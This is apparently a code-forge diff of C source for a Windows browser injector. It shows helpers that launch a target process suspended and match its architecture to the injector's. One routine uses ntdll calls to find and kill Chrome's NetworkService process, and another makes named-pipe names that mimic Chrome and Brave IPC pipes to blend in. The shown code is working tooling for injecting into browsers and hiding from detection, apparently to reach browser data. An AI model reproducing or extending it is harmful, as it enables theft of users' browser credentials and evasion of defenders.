typedef BOOL(WINAPI* IsWow64Process2_t)(HANDLE, USHORT*, USHORT*);
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
static bool check_architecture(TargetProcess* target) {
|
||||
if (!target || !target->process) return false;
|
||||
|
||||
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
|
||||
if (!kernel32) return false;
|
||||
|
||||
IsWow64Process2_t fnIsWow64Process2 =
|
||||
(IsWow64Process2_t)GetProcAddress(kernel32, "IsWow64Process2");
|
||||
|
||||
if (!fnIsWow64Process2) {
|
||||
BOOL is_wow64 = FALSE;
|
||||
if (IsWow64Process(target->process, &is_wow64)) {
|
||||
target->arch = is_wow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
USHORT process_arch = 0, native_machine = 0;
|
||||
if (!fnIsWow64Process2(target->process, &process_arch, &native_machine)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
target->arch = (process_arch == IMAGE_FILE_MACHINE_UNKNOWN) ?
|
||||
native_machine : process_arch;
|
||||
|
||||
USHORT injector_arch =
|
||||
#if defined(_M_X64)
|
||||
IMAGE_FILE_MACHINE_AMD64;
|
||||
#elif defined(_M_ARM64)
|
||||
IMAGE_FILE_MACHINE_ARM64;
|
||||
#elif defined(_M_IX86)
|
||||
IMAGE_FILE_MACHINE_I386;
|
||||
#else
|
||||
IMAGE_FILE_MACHINE_UNKNOWN;
|
||||
#endif
|
||||
|
||||
return target->arch == injector_arch;
|
||||
}
|
||||
|
||||
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path) {
|
||||
if (!target || !exe_path) return false;
|
||||
|
||||
memset(target, 0, sizeof(TargetProcess));
|
||||
|
||||
STARTUPINFOW si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (!CreateProcessW(exe_path, NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
target->process = pi.hProcess;
|
||||
target->thread = pi.hThread;
|
||||
target->pid = pi.dwProcessId;
|
||||
|
||||
if (!check_architecture(target)) {
|
||||
target_cleanup(target);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void target_terminate(TargetProcess* target) {
|
||||
if (!target || !target->process) return;
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (ntdll) {
|
||||
NtTerminateProcess_t pNtTerminateProcess =
|
||||
(NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||
if (pNtTerminateProcess) {
|
||||
pNtTerminateProcess(target->process, 0);
|
||||
}
|
||||
}
|
||||
else {
|
||||
TerminateProcess(target->process, 0);
|
||||
}
|
||||
|
||||
WaitForSingleObject(target->process, 2000);
|
||||
}
|
||||
|
||||
void target_cleanup(TargetProcess* target) {
|
||||
if (!target) return;
|
||||
|
||||
if (target->thread) {
|
||||
CloseHandle(target->thread);
|
||||
target->thread = NULL;
|
||||
}
|
||||
|
||||
if (target->process) {
|
||||
CloseHandle(target->process);
|
||||
target->process = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
bool target_kill_network_service(const wchar_t* process_name) {
|
||||
if (!process_name) return false;
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!ntdll) return false;
|
||||
|
||||
NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t)GetProcAddress(ntdll, "NtGetNextProcess");
|
||||
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(ntdll, "NtQueryInformationProcess");
|
||||
NtReadVirtualMemory_t pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(ntdll, "NtReadVirtualMemory");
|
||||
NtTerminateProcess_t pNtTerminateProcess = (NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||
|
||||
if (!pNtGetNextProcess || !pNtQueryInformationProcess ||
|
||||
!pNtReadVirtualMemory || !pNtTerminateProcess) {
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE current_process = NULL;
|
||||
bool found = false;
|
||||
|
||||
while (true) {
|
||||
HANDLE next_process = NULL;
|
||||
NTSTATUS status = pNtGetNextProcess(current_process, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &next_process);
|
||||
|
||||
if (current_process) {
|
||||
CloseHandle(current_process);
|
||||
current_process = NULL;
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status)) break;
|
||||
|
||||
current_process = next_process;
|
||||
|
||||
BYTE buffer[sizeof(UNICODE_STRING) + MAX_PATH * 2];
|
||||
PUNICODE_STRING image_name = (PUNICODE_STRING)buffer;
|
||||
|
||||
status = pNtQueryInformationProcess(current_process, ProcessImageFileName, image_name, sizeof(buffer), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status) || image_name->Length == 0) continue;
|
||||
|
||||
wchar_t* filename = image_name->Buffer;
|
||||
for (wchar_t* p = image_name->Buffer + (image_name->Length / sizeof(wchar_t)) - 1; p > image_name->Buffer; p--) {
|
||||
if (*p == L'\\' || *p == L'/') {
|
||||
filename = p + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (_wcsicmp(filename, process_name) != 0) continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi = { 0 };
|
||||
status = pNtQueryInformationProcess(current_process, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status) || !pbi.PebBaseAddress) continue;
|
||||
|
||||
PEB peb = { 0 };
|
||||
SIZE_T bytes_read = 0;
|
||||
status = pNtReadVirtualMemory(current_process, pbi.PebBaseAddress, &peb, sizeof(peb), &bytes_read);
|
||||
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS params = { 0 };
|
||||
status = pNtReadVirtualMemory(current_process, peb.ProcessParameters, ¶ms, sizeof(params), &bytes_read);
|
||||
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (params.CommandLine.Length > 0) {
|
||||
wchar_t* cmd_line = malloc(params.CommandLine.Length + sizeof(wchar_t));
|
||||
if (cmd_line) {
|
||||
memset(cmd_line, 0, params.CommandLine.Length + sizeof(wchar_t));
|
||||
|
||||
status = pNtReadVirtualMemory(
|
||||
current_process,
|
||||
params.CommandLine.Buffer,
|
||||
cmd_line,
|
||||
params.CommandLine.Length,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (wcsstr(cmd_line, L"--utility-sub-type=network.mojom.NetworkService")) {
|
||||
pNtTerminateProcess(current_process, 0);
|
||||
found = true;
|
||||
}
|
||||
}
|
||||
|
||||
free(cmd_line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (current_process) {
|
||||
CloseHandle(current_process);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
Executable
+93
@@ -0,0 +1,93 @@
|
||||
#include "utils.h"
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
|
||||
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len) {
|
||||
if (!browser_type || !pipe_name) return false;
|
||||
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
DWORD tick = GetTickCount();
|
||||
|
||||
DWORD id1 = (pid ^ tick) & 0xFFFF;
|
||||
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
|
||||
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
|
||||
|
||||
wchar_t browser_lower[64];
|
||||
wcsncpy_s(browser_lower, 64, browser_type, _TRUNCATE);
|
||||
for (wchar_t* p = browser_lower; *p; p++) {
|
||||
*p = towlower(*p);
|
||||
}
|
||||
|
||||
if (wcscmp(browser_lower, L"chrome") == 0) {
|
||||
const wchar_t* patterns[] = {
|
||||
L"\\\\.\\pipe\\chrome.sync.%u.%u.%04X",
|
||||
L"\\\\.\\pipe\\chrome.nacl.%u_%04X",
|
||||
L"\\\\.\\pipe\\mojo.%u.%u.%04X.chrome"
|
||||
};
|
||||
int idx = (id1 + id2) % 3;
|
||||
|
||||
if (idx == 1) {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id3);
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id2, id3);
|
||||
}
|
||||
}
|
||||
else if (wcscmp(browser_lower, L"brave") == 0) {
|
||||
const wchar_t* patterns[] = {
|
||||
L"\\\\.\\pipe\\brave.sync.%u.%u",
|
||||
L"\\\\.\\pipe\\mojo.%u.%u.brave",
|
||||
L"\\\\.\\pipe\\brave.crashpad_%u"
|
||||
};
|
||||
int idx = id3 % 3;
|
||||
|
||||
if (idx == 2) {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1);
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id2);
|
||||
}
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, L"\\\\.\\pipe\\chromium.ipc.%u.%u", id1, id2);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool create_directory_recursive(const wchar_t* path) {
|
||||
if (!path) return false;
|
||||
|
||||
wchar_t temp[MAX_PATH_LEN];
|
||||
wcsncpy_s(temp, MAX_PATH_LEN, path, _TRUNCATE);
|
||||
|
||||
for (wchar_t* p = temp; *p; p++) {
|
||||
if (*p == L'/' || *p == L'\\') {
|
||||
wchar_t saved = *p;
|
||||
*p = L'\0';
|
||||
|
||||
DWORD attrs = GetFileAttributesW(temp);
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
if (!CreateDirectoryW(temp, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
*p = saved;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD attrs = GetFileAttributesW(temp);
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
return CreateDirectoryW(temp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool file_exists(const wchar_t* path) {
|
||||
if (!path) return false;
|
||||
DWORD attrs = GetFileAttributesW(path);
|
||||
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
+265908
File diff suppressed because it is too large
Load Diff
+13968
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user